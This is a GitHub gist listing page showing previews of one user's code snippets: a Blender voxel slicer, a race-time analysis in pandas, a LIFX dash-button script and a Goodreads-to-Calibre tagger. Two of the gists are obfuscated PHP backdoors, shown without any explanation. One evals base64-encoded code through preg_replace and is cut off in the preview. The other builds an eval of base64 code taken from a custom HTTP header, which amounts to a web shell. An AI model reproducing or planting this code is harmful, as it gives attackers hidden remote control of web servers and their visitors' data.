Skip to content

Instantly share code, notes, and snippets.

@kellbot
kellbot / slicer.py
Created Nov 29, 2010
Script for slicing voxelized objects
View slicer.py
#!BPY
"""
Name: 'Slicer 1.0'
Blender: 243
Group: 'Misc'
Tooltip: 'Slice voxelized object'
"""
import Blender, BPyMessages, BPyMesh
View gist:1bab3ae83d7b80ee382a
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from datetime import datetime, timedelta
import glob
import os
#time data is provided as a string in the format of HH:MM:SS but hours are omitted in shorter races
def str_to_time_delta(x):
if x != x:
View gist:c9f0ba322ae18be2185c
@preg_replace("\x2f"."\56".chr(47)."\x65","\x40".chr(101)."\166"."\x61".chr(108)."\50".chr(98).chr(97)."\163".chr(101)."\x36".chr(52)."\x5f"."\144"."\x65"."\143"."\x6f".chr(100)."\x65"."\x28"."\x27".'ZnVuY3Rpb24gT0Jab2hoUk8oJHApIHsNCiRtID0gZmFsc2U7DQokZmlsZV9kID0gJy90bXAvLl90bXBZdnVPbVJFWCc7DQokaXBfbCA9IChzdHJpbmcpaXAybG9uZygkcCk7DQppZihmaWxlX2V4aXN0cygkZmlsZV9kKSBhbmQgQGlzX3dyaXRhYmxlKCRmaWxlX2QpIGFuZCAoKCRzaXplX2YgPSBAZmlsZXNpemUoJGZpbGVfZCkpID4gMCkpIHsNCiAkZGF0YSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX2QpOw0KICRkYXRhIC49ICIkaXBfbCwiOw0KICBpZihzdWJzdHJfY291bnQoJGRhdGEsIiRpcF9sLCIpIDw9IDEpICRtID0gdHJ1ZTsNCiAgaWYoJHNpemVfZiA+IDEwMDAwMDApICRkYXRhID0gIiRpcF9sLCI7DQogIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX2QsJGRhdGEpOw0KICByZXR1cm4gJG07DQogfSBlbHNlIHJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gbk1TRVpIRygkcCkgew0KJHNlYyA9ICdFdERhTmRkU21rVW5adE5GJzsNCiRrZXkgPSBzdWJzdHIoc2hhMSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10uJHAuJHNlYyksMCxtdF9yYW5kKDEwLDMwKSk7DQoka2V5ID0gZXhwbG9kZSgiXG4iLGNodW5rX3NwbGl0KCRrZXksKHN0cmxlbigka2V5KS9tdF9yYW5kKDEsOCk
View gist:8d4619cf1c169007bf0b
$FdtLNd="\x63"."\x68"."\x72";
$TTfvbjY="\143".$FdtLNd(114).$FdtLNd(101)."\141"."\x74"."\x65".$FdtLNd(95)."\146"."\165"."\x6e".$FdtLNd(99).$FdtLNd(116).$FdtLNd(105)."\157".$FdtLNd(110);
$GVUjHiK=$TTfvbjY('',$FdtLNd(105)."\x66"."\x28"."\x21"."\145"."\155"."\160"."\164".$FdtLNd(121)."\x28"."\44"."\137"."\123".$FdtLNd(69)."\122".$FdtLNd(86)."\x45".$FdtLNd(82)."\x5b"."\x27".$FdtLNd(72)."\x54".$FdtLNd(84)."\120"."\x5f"."\106"."\130".$FdtLNd(83)."\123"."\x46".$FdtLNd(90)."\x46"."\x43"."\x5a"."\47"."\x5d".$FdtLNd(41).$FdtLNd(41)."\x40".$FdtLNd(101)."\x76"."\x61"."\154".$FdtLNd(40)."\142".$FdtLNd(97)."\163"."\x65"."\x36"."\x34"."\137".$FdtLNd(100)."\145"."\143".$FdtLNd(111)."\144"."\145"."\50"."\x24"."\137"."\x53"."\105".$FdtLNd(82)."\x56"."\x45"."\x52"."\133".$FdtLNd(39)."\110".$FdtLNd(84).$FdtLNd(84).$FdtLNd(80)."\137"."\x46"."\x58".$FdtLNd(83)."\x53"."\106".$FdtLNd(90)."\x46"."\103"."\x5a".$FdtLNd(39)."\135".$FdtLNd(41)."\51"."\x3b");$GVUjHiK();
View dash.py
from scapy.all import *
from lifxlan import *
import sys
from copy import copy
from time import sleep, time
#find all our lights
lifx = LifxLAN()
bulbs = lifx.get_lights()
View goodreads-tagger
import subprocess
from urllib.request import urlopen
from xml.etree.ElementTree import parse
goodreads_id = [your goodreads id here]
goodreads_api_key = [your api key here]
calibre_server = [server url e.g. http://localhost:8080/#calibre-library or path to library]
calibre_username = [your calibre username]
calibre_password = [your calibre password]
new_tag = [desired tag to add]